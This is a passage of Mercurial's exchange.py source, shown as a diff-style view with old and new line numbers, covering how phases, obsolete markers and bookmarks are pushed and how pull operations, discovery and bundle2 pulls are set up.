1412 if not remotephases: # old server or public only reply from non-publishing
1411 _localphasemove(pushop, cheads)
1413 _localphasemove(pushop, cheads)
1412 # don't push any phase data as there is nothing to push
1414 # don't push any phase data as there is nothing to push
1413 else:
1415 else:
1414 ana = phases.analyzeremotephases(pushop.repo, cheads, remotephases)
1416 ana = phases.analyzeremotephases(pushop.repo, cheads, remotephases)
1415 pheads, droots = ana
1417 pheads, droots = ana
1416 ### Apply remote phase on local
1418 ### Apply remote phase on local
1417 if remotephases.get(b'publishing', False):
1419 if remotephases.get(b'publishing', False):
1418 _localphasemove(pushop, cheads)
1420 _localphasemove(pushop, cheads)
1419 else: # publish = False
1421 else: # publish = False
1420 _localphasemove(pushop, pheads)
1422 _localphasemove(pushop, pheads)
1421 _localphasemove(pushop, cheads, phases.draft)
1423 _localphasemove(pushop, cheads, phases.draft)
1422 ### Apply local phase on remote
1424 ### Apply local phase on remote
1423
1425
1424 if pushop.cgresult:
1426 if pushop.cgresult:
1425 if b'phases' in pushop.stepsdone:
1427 if b'phases' in pushop.stepsdone:
1426 # phases already pushed though bundle2
1428 # phases already pushed though bundle2
1427 return
1429 return
1428 outdated = pushop.outdatedphases
1430 outdated = pushop.outdatedphases
1429 else:
1431 else:
1430 outdated = pushop.fallbackoutdatedphases
1432 outdated = pushop.fallbackoutdatedphases
1431
1433
1432 pushop.stepsdone.add(b'phases')
1434 pushop.stepsdone.add(b'phases')
1433
1435
1434 # filter heads already turned public by the push
1436 # filter heads already turned public by the push
1435 outdated = [c for c in outdated if c.node() not in pheads]
1437 outdated = [c for c in outdated if c.node() not in pheads]
1436 # fallback to independent pushkey command
1438 # fallback to independent pushkey command
1437 for newremotehead in outdated:
1439 for newremotehead in outdated:
1438 with pushop.remote.commandexecutor() as e:
1440 with pushop.remote.commandexecutor() as e:
1439 r = e.callcommand(
1441 r = e.callcommand(
1440 b'pushkey',
1442 b'pushkey',
1441 {
1443 {
1442 b'namespace': b'phases',
1444 b'namespace': b'phases',
1443 b'key': newremotehead.hex(),
1445 b'key': newremotehead.hex(),
1444 b'old': b'%d' % phases.draft,
1446 b'old': b'%d' % phases.draft,
1445 b'new': b'%d' % phases.public,
1447 b'new': b'%d' % phases.public,
1446 },
1448 },
1447 ).result()
1449 ).result()
1448
1450
1449 if not r:
1451 if not r:
1450 pushop.ui.warn(
1452 pushop.ui.warn(
1451 _(b'updating %s to public failed!\n') % newremotehead
1453 _(b'updating %s to public failed!\n') % newremotehead
1452 )
1454 )
1453
1455
1454
1456
1455 def _localphasemove(pushop, nodes, phase=phases.public):
1457 def _localphasemove(pushop, nodes, phase=phases.public):
1456 """move <nodes> to <phase> in the local source repo"""
1458 """move <nodes> to <phase> in the local source repo"""
1457 if pushop.trmanager:
1459 if pushop.trmanager:
1458 phases.advanceboundary(
1460 phases.advanceboundary(
1459 pushop.repo, pushop.trmanager.transaction(), phase, nodes
1461 pushop.repo, pushop.trmanager.transaction(), phase, nodes
1460 )
1462 )
1461 else:
1463 else:
1462 # repo is not locked, do not change any phases!
1464 # repo is not locked, do not change any phases!
1463 # Informs the user that phases should have been moved when
1465 # Informs the user that phases should have been moved when
1464 # applicable.
1466 # applicable.
1465 actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
1467 actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
1466 phasestr = phases.phasenames[phase]
1468 phasestr = phases.phasenames[phase]
1467 if actualmoves:
1469 if actualmoves:
1468 pushop.ui.status(
1470 pushop.ui.status(
1469 _(
1471 _(
1470 b'cannot lock source repo, skipping '
1472 b'cannot lock source repo, skipping '
1471 b'local %s phase update\n'
1473 b'local %s phase update\n'
1472 )
1474 )
1473 % phasestr
1475 % phasestr
1474 )
1476 )
1475
1477
1476
1478
1477 def _pushobsolete(pushop):
1479 def _pushobsolete(pushop):
1478 """utility function to push obsolete markers to a remote"""
1480 """utility function to push obsolete markers to a remote"""
1479 if b'obsmarkers' in pushop.stepsdone:
1481 if b'obsmarkers' in pushop.stepsdone:
1480 return
1482 return
1481 repo = pushop.repo
1483 repo = pushop.repo
1482 remote = pushop.remote
1484 remote = pushop.remote
1483 pushop.stepsdone.add(b'obsmarkers')
1485 pushop.stepsdone.add(b'obsmarkers')
1484 if pushop.outobsmarkers:
1486 if pushop.outobsmarkers:
1485 pushop.ui.debug(b'try to push obsolete markers to remote\n')
1487 pushop.ui.debug(b'try to push obsolete markers to remote\n')
1486 rslts = []
1488 rslts = []
1487 markers = obsutil.sortedmarkers(pushop.outobsmarkers)
1489 markers = obsutil.sortedmarkers(pushop.outobsmarkers)
1488 remotedata = obsolete._pushkeyescape(markers)
1490 remotedata = obsolete._pushkeyescape(markers)
1489 for key in sorted(remotedata, reverse=True):
1491 for key in sorted(remotedata, reverse=True):
1490 # reverse sort to ensure we end with dump0
1492 # reverse sort to ensure we end with dump0
1491 data = remotedata[key]
1493 data = remotedata[key]
1492 rslts.append(remote.pushkey(b'obsolete', key, b'', data))
1494 rslts.append(remote.pushkey(b'obsolete', key, b'', data))
1493 if [r for r in rslts if not r]:
1495 if [r for r in rslts if not r]:
1494 msg = _(b'failed to push some obsolete markers!\n')
1496 msg = _(b'failed to push some obsolete markers!\n')
1495 repo.ui.warn(msg)
1497 repo.ui.warn(msg)
1496
1498
1497
1499
1498 def _pushbookmark(pushop):
1500 def _pushbookmark(pushop):
1499 """Update bookmark position on remote"""
1501 """Update bookmark position on remote"""
1500 if pushop.cgresult == 0 or b'bookmarks' in pushop.stepsdone:
1502 if pushop.cgresult == 0 or b'bookmarks' in pushop.stepsdone:
1501 return
1503 return
1502 pushop.stepsdone.add(b'bookmarks')
1504 pushop.stepsdone.add(b'bookmarks')
1503 ui = pushop.ui
1505 ui = pushop.ui
1504 remote = pushop.remote
1506 remote = pushop.remote
1505
1507
1506 for b, old, new in pushop.outbookmarks:
1508 for b, old, new in pushop.outbookmarks:
1507 action = b'update'
1509 action = b'update'
1508 if not old:
1510 if not old:
1509 action = b'export'
1511 action = b'export'
1510 elif not new:
1512 elif not new:
1511 action = b'delete'
1513 action = b'delete'
1512
1514
1513 with remote.commandexecutor() as e:
1515 with remote.commandexecutor() as e:
1514 r = e.callcommand(
1516 r = e.callcommand(
1515 b'pushkey',
1517 b'pushkey',
1516 {
1518 {
1517 b'namespace': b'bookmarks',
1519 b'namespace': b'bookmarks',
1518 b'key': b,
1520 b'key': b,
1519 b'old': hex(old),
1521 b'old': hex(old),
1520 b'new': hex(new),
1522 b'new': hex(new),
1521 },
1523 },
1522 ).result()
1524 ).result()
1523
1525
1524 if r:
1526 if r:
1525 ui.status(bookmsgmap[action][0] % b)
1527 ui.status(bookmsgmap[action][0] % b)
1526 else:
1528 else:
1527 ui.warn(bookmsgmap[action][1] % b)
1529 ui.warn(bookmsgmap[action][1] % b)
1528 # discovery can have set the value form invalid entry
1530 # discovery can have set the value form invalid entry
1529 if pushop.bkresult is not None:
1531 if pushop.bkresult is not None:
1530 pushop.bkresult = 1
1532 pushop.bkresult = 1
1531
1533
1532
1534
1533 class pulloperation(object):
1535 class pulloperation(object):
1534 """A object that represent a single pull operation
1536 """A object that represent a single pull operation
1535
1537
1536 It purpose is to carry pull related state and very common operation.
1538 It purpose is to carry pull related state and very common operation.
1537
1539
1538 A new should be created at the beginning of each pull and discarded
1540 A new should be created at the beginning of each pull and discarded
1539 afterward.
1541 afterward.
1540 """
1542 """
1541
1543
1542 def __init__(
1544 def __init__(
1543 self,
1545 self,
1544 repo,
1546 repo,
1545 remote,
1547 remote,
1546 heads=None,
1548 heads=None,
1547 force=False,
1549 force=False,
1548 bookmarks=(),
1550 bookmarks=(),
1549 remotebookmarks=None,
1551 remotebookmarks=None,
1550 streamclonerequested=None,
1552 streamclonerequested=None,
1551 includepats=None,
1553 includepats=None,
1552 excludepats=None,
1554 excludepats=None,
1553 depth=None,
1555 depth=None,
1554 ):
1556 ):
1555 # repo we pull into
1557 # repo we pull into
1556 self.repo = repo
1558 self.repo = repo
1557 # repo we pull from
1559 # repo we pull from
1558 self.remote = remote
1560 self.remote = remote
1559 # revision we try to pull (None is "all")
1561 # revision we try to pull (None is "all")
1560 self.heads = heads
1562 self.heads = heads
1561 # bookmark pulled explicitly
1563 # bookmark pulled explicitly
1562 self.explicitbookmarks = [
1564 self.explicitbookmarks = [
1563 repo._bookmarks.expandname(bookmark) for bookmark in bookmarks
1565 repo._bookmarks.expandname(bookmark) for bookmark in bookmarks
1564 ]
1566 ]
1565 # do we force pull?
1567 # do we force pull?
1566 self.force = force
1568 self.force = force
1567 # whether a streaming clone was requested
1569 # whether a streaming clone was requested
1568 self.streamclonerequested = streamclonerequested
1570 self.streamclonerequested = streamclonerequested
1569 # transaction manager
1571 # transaction manager
1570 self.trmanager = None
1572 self.trmanager = None
1571 # set of common changeset between local and remote before pull
1573 # set of common changeset between local and remote before pull
1572 self.common = None
1574 self.common = None
1573 # set of pulled head
1575 # set of pulled head
1574 self.rheads = None
1576 self.rheads = None
1575 # list of missing changeset to fetch remotely
1577 # list of missing changeset to fetch remotely
1576 self.fetch = None
1578 self.fetch = None
1577 # remote bookmarks data
1579 # remote bookmarks data
1578 self.remotebookmarks = remotebookmarks
1580 self.remotebookmarks = remotebookmarks
1579 # result of changegroup pulling (used as return code by pull)
1581 # result of changegroup pulling (used as return code by pull)
1580 self.cgresult = None
1582 self.cgresult = None
1581 # list of step already done
1583 # list of step already done
1582 self.stepsdone = set()
1584 self.stepsdone = set()
1583 # Whether we attempted a clone from pre-generated bundles.
1585 # Whether we attempted a clone from pre-generated bundles.
1584 self.clonebundleattempted = False
1586 self.clonebundleattempted = False
1585 # Set of file patterns to include.
1587 # Set of file patterns to include.
1586 self.includepats = includepats
1588 self.includepats = includepats
1587 # Set of file patterns to exclude.
1589 # Set of file patterns to exclude.
1588 self.excludepats = excludepats
1590 self.excludepats = excludepats
1589 # Number of ancestor changesets to pull from each pulled head.
1591 # Number of ancestor changesets to pull from each pulled head.
1590 self.depth = depth
1592 self.depth = depth
1591
1593
1592 @util.propertycache
1594 @util.propertycache
1593 def pulledsubset(self):
1595 def pulledsubset(self):
1594 """heads of the set of changeset target by the pull"""
1596 """heads of the set of changeset target by the pull"""
1595 # compute target subset
1597 # compute target subset
1596 if self.heads is None:
1598 if self.heads is None:
1597 # We pulled every thing possible
1599 # We pulled every thing possible
1598 # sync on everything common
1600 # sync on everything common
1599 c = set(self.common)
1601 c = set(self.common)
1600 ret = list(self.common)
1602 ret = list(self.common)
1601 for n in self.rheads:
1603 for n in self.rheads:
1602 if n not in c:
1604 if n not in c:
1603 ret.append(n)
1605 ret.append(n)
1604 return ret
1606 return ret
1605 else:
1607 else:
1606 # We pulled a specific subset
1608 # We pulled a specific subset
1607 # sync on this subset
1609 # sync on this subset
1608 return self.heads
1610 return self.heads
1609
1611
1610 @util.propertycache
1612 @util.propertycache
1611 def canusebundle2(self):
1613 def canusebundle2(self):
1612 return not _forcebundle1(self)
1614 return not _forcebundle1(self)
1613
1615
1614 @util.propertycache
1616 @util.propertycache
1615 def remotebundle2caps(self):
1617 def remotebundle2caps(self):
1616 return bundle2.bundle2caps(self.remote)
1618 return bundle2.bundle2caps(self.remote)
1617
1619
1618 def gettransaction(self):
1620 def gettransaction(self):
1619 # deprecated; talk to trmanager directly
1621 # deprecated; talk to trmanager directly
1620 return self.trmanager.transaction()
1622 return self.trmanager.transaction()
1621
1623
1622
1624
1623 class transactionmanager(util.transactional):
1625 class transactionmanager(util.transactional):
1624 """An object to manage the life cycle of a transaction
1626 """An object to manage the life cycle of a transaction
1625
1627
1626 It creates the transaction on demand and calls the appropriate hooks when
1628 It creates the transaction on demand and calls the appropriate hooks when
1627 closing the transaction."""
1629 closing the transaction."""
1628
1630
1629 def __init__(self, repo, source, url):
1631 def __init__(self, repo, source, url):
1630 self.repo = repo
1632 self.repo = repo
1631 self.source = source
1633 self.source = source
1632 self.url = url
1634 self.url = url
1633 self._tr = None
1635 self._tr = None
1634
1636
1635 def transaction(self):
1637 def transaction(self):
1636 """Return an open transaction object, constructing if necessary"""
1638 """Return an open transaction object, constructing if necessary"""
1637 if not self._tr:
1639 if not self._tr:
1638 trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
1640 trname = b'%s\n%s' % (self.source, util.hidepassword(self.url))
1639 self._tr = self.repo.transaction(trname)
1641 self._tr = self.repo.transaction(trname)
1640 self._tr.hookargs[b'source'] = self.source
1642 self._tr.hookargs[b'source'] = self.source
1641 self._tr.hookargs[b'url'] = self.url
1643 self._tr.hookargs[b'url'] = self.url
1642 return self._tr
1644 return self._tr
1643
1645
1644 def close(self):
1646 def close(self):
1645 """close transaction if created"""
1647 """close transaction if created"""
1646 if self._tr is not None:
1648 if self._tr is not None:
1647 self._tr.close()
1649 self._tr.close()
1648
1650
1649 def release(self):
1651 def release(self):
1650 """release transaction if created"""
1652 """release transaction if created"""
1651 if self._tr is not None:
1653 if self._tr is not None:
1652 self._tr.release()
1654 self._tr.release()
1653
1655
1654
1656
1655 def listkeys(remote, namespace):
1657 def listkeys(remote, namespace):
1656 with remote.commandexecutor() as e:
1658 with remote.commandexecutor() as e:
1657 return e.callcommand(b'listkeys', {b'namespace': namespace}).result()
1659 return e.callcommand(b'listkeys', {b'namespace': namespace}).result()
1658
1660
1659
1661
1660 def _fullpullbundle2(repo, pullop):
1662 def _fullpullbundle2(repo, pullop):
1661 # The server may send a partial reply, i.e. when inlining
1663 # The server may send a partial reply, i.e. when inlining
1662 # pre-computed bundles. In that case, update the common
1664 # pre-computed bundles. In that case, update the common
1663 # set based on the results and pull another bundle.
1665 # set based on the results and pull another bundle.
1664 #
1666 #
1665 # There are two indicators that the process is finished:
1667 # There are two indicators that the process is finished:
1666 # - no changeset has been added, or
1668 # - no changeset has been added, or
1667 # - all remote heads are known locally.
1669 # - all remote heads are known locally.
1668 # The head check must use the unfiltered view as obsoletion
1670 # The head check must use the unfiltered view as obsoletion
1669 # markers can hide heads.
1671 # markers can hide heads.
1670 unfi = repo.unfiltered()
1672 unfi = repo.unfiltered()
1671 unficl = unfi.changelog
1673 unficl = unfi.changelog
1672
1674
1673 def headsofdiff(h1, h2):
1675 def headsofdiff(h1, h2):
1674 """Returns heads(h1 % h2)"""
1676 """Returns heads(h1 % h2)"""
1675 res = unfi.set(b'heads(%ln %% %ln)', h1, h2)
1677 res = unfi.set(b'heads(%ln %% %ln)', h1, h2)
1676 return set(ctx.node() for ctx in res)
1678 return set(ctx.node() for ctx in res)
1677
1679
1678 def headsofunion(h1, h2):
1680 def headsofunion(h1, h2):
1679 """Returns heads((h1 + h2) - null)"""
1681 """Returns heads((h1 + h2) - null)"""
1680 res = unfi.set(b'heads((%ln + %ln - null))', h1, h2)
1682 res = unfi.set(b'heads((%ln + %ln - null))', h1, h2)
1681 return set(ctx.node() for ctx in res)
1683 return set(ctx.node() for ctx in res)
1682
1684
1683 while True:
1685 while True:
1684 old_heads = unficl.heads()
1686 old_heads = unficl.heads()
1685 clstart = len(unficl)
1687 clstart = len(unficl)
1686 _pullbundle2(pullop)
1688 _pullbundle2(pullop)
1687 if repository.NARROW_REQUIREMENT in repo.requirements:
1689 if repository.NARROW_REQUIREMENT in repo.requirements:
1688 # XXX narrow clones filter the heads on the server side during
1690 # XXX narrow clones filter the heads on the server side during
1689 # XXX getbundle and result in partial replies as well.
1691 # XXX getbundle and result in partial replies as well.
1690 # XXX Disable pull bundles in this case as band aid to avoid
1692 # XXX Disable pull bundles in this case as band aid to avoid
1691 # XXX extra round trips.
1693 # XXX extra round trips.
1692 break
1694 break
1693 if clstart == len(unficl):
1695 if clstart == len(unficl):
1694 break
1696 break
1695 if all(unficl.hasnode(n) for n in pullop.rheads):
1697 if all(unficl.hasnode(n) for n in pullop.rheads):
1696 break
1698 break
1697 new_heads = headsofdiff(unficl.heads(), old_heads)
1699 new_heads = headsofdiff(unficl.heads(), old_heads)
1698 pullop.common = headsofunion(new_heads, pullop.common)
1700 pullop.common = headsofunion(new_heads, pullop.common)
1699 pullop.rheads = set(pullop.rheads) - pullop.common
1701 pullop.rheads = set(pullop.rheads) - pullop.common
1700
1702
1701
1703
1702 def pull(
1704 def pull(
1703 repo,
1705 repo,
1704 remote,
1706 remote,
1705 heads=None,
1707 heads=None,
1706 force=False,
1708 force=False,
1707 bookmarks=(),
1709 bookmarks=(),
1708 opargs=None,
1710 opargs=None,
1709 streamclonerequested=None,
1711 streamclonerequested=None,
1710 includepats=None,
1712 includepats=None,
1711 excludepats=None,
1713 excludepats=None,
1712 depth=None,
1714 depth=None,
1713 ):
1715 ):
1714 """Fetch repository data from a remote.
1716 """Fetch repository data from a remote.
1715
1717
1716 This is the main function used to retrieve data from a remote repository.
1718 This is the main function used to retrieve data from a remote repository.
1717
1719
1718 ``repo`` is the local repository to clone into.
1720 ``repo`` is the local repository to clone into.
1719 ``remote`` is a peer instance.
1721 ``remote`` is a peer instance.
1720 ``heads`` is an iterable of revisions we want to pull. ``None`` (the
1722 ``heads`` is an iterable of revisions we want to pull. ``None`` (the
1721 default) means to pull everything from the remote.
1723 default) means to pull everything from the remote.
1722 ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
1724 ``bookmarks`` is an iterable of bookmarks requesting to be pulled. By
1723 default, all remote bookmarks are pulled.
1725 default, all remote bookmarks are pulled.
1724 ``opargs`` are additional keyword arguments to pass to ``pulloperation``
1726 ``opargs`` are additional keyword arguments to pass to ``pulloperation``
1725 initialization.
1727 initialization.
1726 ``streamclonerequested`` is a boolean indicating whether a "streaming
1728 ``streamclonerequested`` is a boolean indicating whether a "streaming
1727 clone" is requested. A "streaming clone" is essentially a raw file copy
1729 clone" is requested. A "streaming clone" is essentially a raw file copy
1728 of revlogs from the server. This only works when the local repository is
1730 of revlogs from the server. This only works when the local repository is
1729 empty. The default value of ``None`` means to respect the server
1731 empty. The default value of ``None`` means to respect the server
1730 configuration for preferring stream clones.
1732 configuration for preferring stream clones.
1731 ``includepats`` and ``excludepats`` define explicit file patterns to
1733 ``includepats`` and ``excludepats`` define explicit file patterns to
1732 include and exclude in storage, respectively. If not defined, narrow
1734 include and exclude in storage, respectively. If not defined, narrow
1733 patterns from the repo instance are used, if available.
1735 patterns from the repo instance are used, if available.
1734 ``depth`` is an integer indicating the DAG depth of history we're
1736 ``depth`` is an integer indicating the DAG depth of history we're
1735 interested in. If defined, for each revision specified in ``heads``, we
1737 interested in. If defined, for each revision specified in ``heads``, we
1736 will fetch up to this many of its ancestors and data associated with them.
1738 will fetch up to this many of its ancestors and data associated with them.
1737
1739
1738 Returns the ``pulloperation`` created for this pull.
1740 Returns the ``pulloperation`` created for this pull.
1739 """
1741 """
1740 if opargs is None:
1742 if opargs is None:
1741 opargs = {}
1743 opargs = {}
1742
1744
1743 # We allow the narrow patterns to be passed in explicitly to provide more
1745 # We allow the narrow patterns to be passed in explicitly to provide more
1744 # flexibility for API consumers.
1746 # flexibility for API consumers.
1745 if includepats or excludepats:
1747 if includepats or excludepats:
1746 includepats = includepats or set()
1748 includepats = includepats or set()
1747 excludepats = excludepats or set()
1749 excludepats = excludepats or set()
1748 else:
1750 else:
1749 includepats, excludepats = repo.narrowpats
1751 includepats, excludepats = repo.narrowpats
1750
1752
1751 narrowspec.validatepatterns(includepats)
1753 narrowspec.validatepatterns(includepats)
1752 narrowspec.validatepatterns(excludepats)
1754 narrowspec.validatepatterns(excludepats)
1753
1755
1754 pullop = pulloperation(
1756 pullop = pulloperation(
1755 repo,
1757 repo,
1756 remote,
1758 remote,
1757 heads,
1759 heads,
1758 force,
1760 force,
1759 bookmarks=bookmarks,
1761 bookmarks=bookmarks,
1760 streamclonerequested=streamclonerequested,
1762 streamclonerequested=streamclonerequested,
1761 includepats=includepats,
1763 includepats=includepats,
1762 excludepats=excludepats,
1764 excludepats=excludepats,
1763 depth=depth,
1765 depth=depth,
1764 **pycompat.strkwargs(opargs)
1766 **pycompat.strkwargs(opargs)
1765 )
1767 )
1766
1768
1767 peerlocal = pullop.remote.local()
1769 peerlocal = pullop.remote.local()
1768 if peerlocal:
1770 if peerlocal:
1769 missing = set(peerlocal.requirements) - pullop.repo.supported
1771 missing = set(peerlocal.requirements) - pullop.repo.supported
1770 if missing:
1772 if missing:
1771 msg = _(
1773 msg = _(
1772 b"required features are not"
1774 b"required features are not"
1773 b" supported in the destination:"
1775 b" supported in the destination:"
1774 b" %s"
1776 b" %s"
1775 ) % (b', '.join(sorted(missing)))
1777 ) % (b', '.join(sorted(missing)))
1776 raise error.Abort(msg)
1778 raise error.Abort(msg)
1777
1779
1778 pullop.trmanager = transactionmanager(repo, b'pull', remote.url())
1780 pullop.trmanager = transactionmanager(repo, b'pull', remote.url())
1779 wlock = util.nullcontextmanager()
1781 wlock = util.nullcontextmanager()
1780 if not bookmod.bookmarksinstore(repo):
1782 if not bookmod.bookmarksinstore(repo):
1781 wlock = repo.wlock()
1783 wlock = repo.wlock()
1782 with wlock, repo.lock(), pullop.trmanager:
1784 with wlock, repo.lock(), pullop.trmanager:
1783 # Use the modern wire protocol, if available.
1785 # Use the modern wire protocol, if available.
1784 if remote.capable(b'command-changesetdata'):
1786 if remote.capable(b'command-changesetdata'):
1785 exchangev2.pull(pullop)
1787 exchangev2.pull(pullop)
1786 else:
1788 else:
1787 # This should ideally be in _pullbundle2(). However, it needs to run
1789 # This should ideally be in _pullbundle2(). However, it needs to run
1788 # before discovery to avoid extra work.
1790 # before discovery to avoid extra work.
1789 _maybeapplyclonebundle(pullop)
1791 _maybeapplyclonebundle(pullop)
1790 streamclone.maybeperformlegacystreamclone(pullop)
1792 streamclone.maybeperformlegacystreamclone(pullop)
1791 _pulldiscovery(pullop)
1793 _pulldiscovery(pullop)
1792 if pullop.canusebundle2:
1794 if pullop.canusebundle2:
1793 _fullpullbundle2(repo, pullop)
1795 _fullpullbundle2(repo, pullop)
1794 _pullchangeset(pullop)
1796 _pullchangeset(pullop)
1795 _pullphase(pullop)
1797 _pullphase(pullop)
1796 _pullbookmarks(pullop)
1798 _pullbookmarks(pullop)
1797 _pullobsolete(pullop)
1799 _pullobsolete(pullop)
1798
1800
1799 # storing remotenames
1801 # storing remotenames
1800 if repo.ui.configbool(b'experimental', b'remotenames'):
1802 if repo.ui.configbool(b'experimental', b'remotenames'):
1801 logexchange.pullremotenames(repo, remote)
1803 logexchange.pullremotenames(repo, remote)
1802
1804
1803 return pullop
1805 return pullop
1804
1806
1805
1807
1806 # list of steps to perform discovery before pull
1808 # list of steps to perform discovery before pull
1807 pulldiscoveryorder = []
1809 pulldiscoveryorder = []
1808
1810
1809 # Mapping between step name and function
1811 # Mapping between step name and function
1810 #
1812 #
1811 # This exists to help extensions wrap steps if necessary
1813 # This exists to help extensions wrap steps if necessary
1812 pulldiscoverymapping = {}
1814 pulldiscoverymapping = {}
1813
1815
1814
1816
1815 def pulldiscovery(stepname):
1817 def pulldiscovery(stepname):
1816 """decorator for function performing discovery before pull
1818 """decorator for function performing discovery before pull
1817
1819
1818 The function is added to the step -> function mapping and appended to the
1820 The function is added to the step -> function mapping and appended to the
1819 list of steps. Beware that decorated function will be added in order (this
1821 list of steps. Beware that decorated function will be added in order (this
1820 may matter).
1822 may matter).
1821
1823
1822 You can only use this decorator for a new step, if you want to wrap a step
1824 You can only use this decorator for a new step, if you want to wrap a step
1823 from an extension, change the pulldiscovery dictionary directly."""
1825 from an extension, change the pulldiscovery dictionary directly."""
1824
1826
1825 def dec(func):
1827 def dec(func):
1826 assert stepname not in pulldiscoverymapping
1828 assert stepname not in pulldiscoverymapping
1827 pulldiscoverymapping[stepname] = func
1829 pulldiscoverymapping[stepname] = func
1828 pulldiscoveryorder.append(stepname)
1830 pulldiscoveryorder.append(stepname)
1829 return func
1831 return func
1830
1832
1831 return dec
1833 return dec
1832
1834
1833
1835
1834 def _pulldiscovery(pullop):
1836 def _pulldiscovery(pullop):
1835 """Run all discovery steps"""
1837 """Run all discovery steps"""
1836 for stepname in pulldiscoveryorder:
1838 for stepname in pulldiscoveryorder:
1837 step = pulldiscoverymapping[stepname]
1839 step = pulldiscoverymapping[stepname]
1838 step(pullop)
1840 step(pullop)
1839
1841
1840
1842
1841 @pulldiscovery(b'b1:bookmarks')
1843 @pulldiscovery(b'b1:bookmarks')
1842 def _pullbookmarkbundle1(pullop):
1844 def _pullbookmarkbundle1(pullop):
1843 """fetch bookmark data in bundle1 case
1845 """fetch bookmark data in bundle1 case
1844
1846
1845 If not using bundle2, we have to fetch bookmarks before changeset
1847 If not using bundle2, we have to fetch bookmarks before changeset
1846 discovery to reduce the chance and impact of race conditions."""
1848 discovery to reduce the chance and impact of race conditions."""
1847 if pullop.remotebookmarks is not None:
1849 if pullop.remotebookmarks is not None:
1848 return
1850 return
1849 if pullop.canusebundle2 and b'listkeys' in pullop.remotebundle2caps:
1851 if pullop.canusebundle2 and b'listkeys' in pullop.remotebundle2caps:
1850 # all known bundle2 servers now support listkeys, but lets be nice with
1852 # all known bundle2 servers now support listkeys, but lets be nice with
1851 # new implementation.
1853 # new implementation.
1852 return
1854 return
1853 books = listkeys(pullop.remote, b'bookmarks')
1855 books = listkeys(pullop.remote, b'bookmarks')
1854 pullop.remotebookmarks = bookmod.unhexlifybookmarks(books)
1856 pullop.remotebookmarks = bookmod.unhexlifybookmarks(books)
1855
1857
1856
1858
1857 @pulldiscovery(b'changegroup')
1859 @pulldiscovery(b'changegroup')
1858 def _pulldiscoverychangegroup(pullop):
1860 def _pulldiscoverychangegroup(pullop):
1859 """discovery phase for the pull
1861 """discovery phase for the pull
1860
1862
1861 Current handle changeset discovery only, will change handle all discovery
1863 Current handle changeset discovery only, will change handle all discovery
1862 at some point."""
1864 at some point."""
1863 tmp = discovery.findcommonincoming(
1865 tmp = discovery.findcommonincoming(
1864 pullop.repo, pullop.remote, heads=pullop.heads, force=pullop.force
1866 pullop.repo, pullop.remote, heads=pullop.heads, force=pullop.force
1865 )
1867 )
1866 common, fetch, rheads = tmp
1868 common, fetch, rheads = tmp
1867 has_node = pullop.repo.unfiltered().changelog.index.has_node
1869 has_node = pullop.repo.unfiltered().changelog.index.has_node
1868 if fetch and rheads:
1870 if fetch and rheads:
1869 # If a remote heads is filtered locally, put in back in common.
1871 # If a remote heads is filtered locally, put in back in common.
1870 #
1872 #
1871 # This is a hackish solution to catch most of "common but locally
1873 # This is a hackish solution to catch most of "common but locally
1872 # hidden situation". We do not performs discovery on unfiltered
1874 # hidden situation". We do not performs discovery on unfiltered
1873 # repository because it end up doing a pathological amount of round
1875 # repository because it end up doing a pathological amount of round
1874 # trip for w huge amount of changeset we do not care about.
1876 # trip for w huge amount of changeset we do not care about.
1875 #
1877 #
1876 # If a set of such "common but filtered" changeset exist on the server
1878 # If a set of such "common but filtered" changeset exist on the server
1877 # but are not including a remote heads, we'll not be able to detect it,
1879 # but are not including a remote heads, we'll not be able to detect it,
1878 scommon = set(common)
1880 scommon = set(common)
1879 for n in rheads:
1881 for n in rheads:
1880 if has_node(n):
1882 if has_node(n):
1881 if n not in scommon:
1883 if n not in scommon:
1882 common.append(n)
1884 common.append(n)
1883 if set(rheads).issubset(set(common)):
1885 if set(rheads).issubset(set(common)):
1884 fetch = []
1886 fetch = []
1885 pullop.common = common
1887 pullop.common = common
1886 pullop.fetch = fetch
1888 pullop.fetch = fetch
1887 pullop.rheads = rheads
1889 pullop.rheads = rheads
1888
1890
1889
1891
1890 def _pullbundle2(pullop):
1892 def _pullbundle2(pullop):
1891 """pull data using bundle2
1893 """pull data using bundle2
1892
1894
1893 For now, the only supported data are changegroup."""
1895 For now, the only supported data are changegroup."""
1894 kwargs = {b'bundlecaps': caps20to10(pullop.repo, role=b'client')}
1896 kwargs = {b'bundlecaps': caps20to10(pullop.repo, role=b'client')}
1895
1897
1896 # make ui easier to access
1898 # make ui easier to access
1897 ui = pullop.repo.ui
1899 ui = pullop.repo.ui
1898
1900
1899 # At the moment we don't do stream clones over bundle2. If that is
1901 # At the moment we don't do stream clones over bundle2. If that is
1900 # implemented then here's where the check for that will go.
1902 # implemented then here's where the check for that will go.
1901 streaming = streamclone.canperformstreamclone(pullop, bundle2=True)[0]
1903 streaming = streamclone.canperformstreamclone(pullop, bundle2=True)[0]
1902
1904
1903 # declare pull perimeters
1905 # declare pull perimeters
1904 kwargs[b'common'] = pullop.common
1906 kwargs[b'common'] = pullop.common
1905 kwargs[b'heads'] = pullop.heads or pullop.rheads
1907 kwargs[b'heads'] = pullop.heads or pullop.rheads
1906
1908
1907 # check server supports narrow and then adding includepats and excludepats
1909 # check server supports narrow and then adding includepats and excludepats
1908 servernarrow = pullop.remote.capable(wireprototypes.NARROWCAP)
1910 servernarrow = pullop.remote.capable(wireprototypes.NARROWCAP)
1909 if servernarrow and pullop.includepats:
1911 if servernarrow and pullop.includepats:
1910 kwargs[b'includepats'] = pullop.includepats
1912 kwargs[b'includepats'] = pullop.includepats
1911 if servernarrow and pullop.excludepats:
1913 if servernarrow and pullop.excludepats:
1912 kwargs[b'excludepats'] = pullop.excludepats
1914 kwargs[b'excludepats'] = pullop.excludepats
1913
1915
1914 if streaming:
1916 if streaming:
1915 kwargs[b'cg'] = False
1917 kwargs[b'cg'] = False
1916 kwargs[b'stream'] = True
1918 kwargs[b'stream'] = True
1917 pullop.stepsdone.add(b'changegroup')
1919 pullop.stepsdone.add(b'changegroup')
1918 pullop.stepsdone.add(b'phases')
1920 pullop.stepsdone.add(b'phases')
1919
1921
1920 else:
1922 else:
1921 # pulling changegroup
1923 # pulling changegroup
1922 pullop.stepsdone.add(b'changegroup')
1924 pullop.stepsdone.add(b'changegroup')
1923
1925
1924 kwargs[b'cg'] = pullop.fetch
1926 kwargs[b'cg'] = pullop.fetch
1925
1927
